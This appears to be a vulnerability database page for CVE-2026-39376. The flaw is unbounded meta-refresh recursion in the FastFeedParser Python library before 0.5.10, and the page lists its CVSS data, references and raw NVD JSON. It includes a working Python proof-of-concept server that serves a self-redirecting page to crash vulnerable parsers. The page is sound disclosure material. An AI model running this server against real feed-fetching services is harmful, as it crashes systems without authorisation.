CVE-2026-39376

Description

FastFeedParser is a high performance RSS, Atom and RDF parser. Prior to 0.5.10, when parse() fetches a URL that returns an HTML page containing a <meta http-equiv="refresh"> tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check. This vulnerability is fixed in 0.5.10.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:kagi:fastfeedparser:*:*:*:*:*:python:*:* - VULNERABLE

FastFeedParser < 0.5.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC: Malicious server to trigger infinite recursion in FastFeedParser < 0.5.10
import http.server
import socketserver

PORT = 8000

class ExploitHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # Return HTML with meta refresh pointing to itself to create infinite loop
        response_content = b'<html><head><meta http-equiv="refresh" content="0;url=/"></head><body>Infinite Loop</body></html>'
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        self.wfile.write(response_content)

with socketserver.TCPServer(('', PORT), ExploitHandler) as httpd:
    print(f"Exploit server running at port {PORT}")
    httpd.serve_forever()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39376
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39376
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39376/
[4] VulDB https://vuldb.com/cve/CVE-2026-39376
[5] https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37
[6] https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39376", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:32.450", "lastModified": "2026-04-14T20:12:28.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastFeedParser is a high performance RSS, Atom and RDF parser. Prior to 0.5.10, when parse() fetches a URL that returns an HTML page containing a <meta http-equiv=\"refresh\"> tag, it recursively calls itself with the redirect URL — with no depth limit, no visited-URL deduplication, and no redirect count cap. An attacker-controlled server that returns an infinite chain of HTML meta-refresh responses causes unbounded recursion, exhausting the Python call stack and crashing the process. This vulnerability can also be chained with the companion SSRF issue to reach internal network targets after bypassing the initial URL check. This vulnerability is fixed in 0.5.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kagi:fastfeedparser:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.5.10", "matchCriteriaId": "772491C0-4451-46D0-93E7-14946CD0286B"}]}]}], "references": [{"url": "https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/kagisearch/fastfeedparser/security/advisories/GHSA-4gx2-pc4f-wq37", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}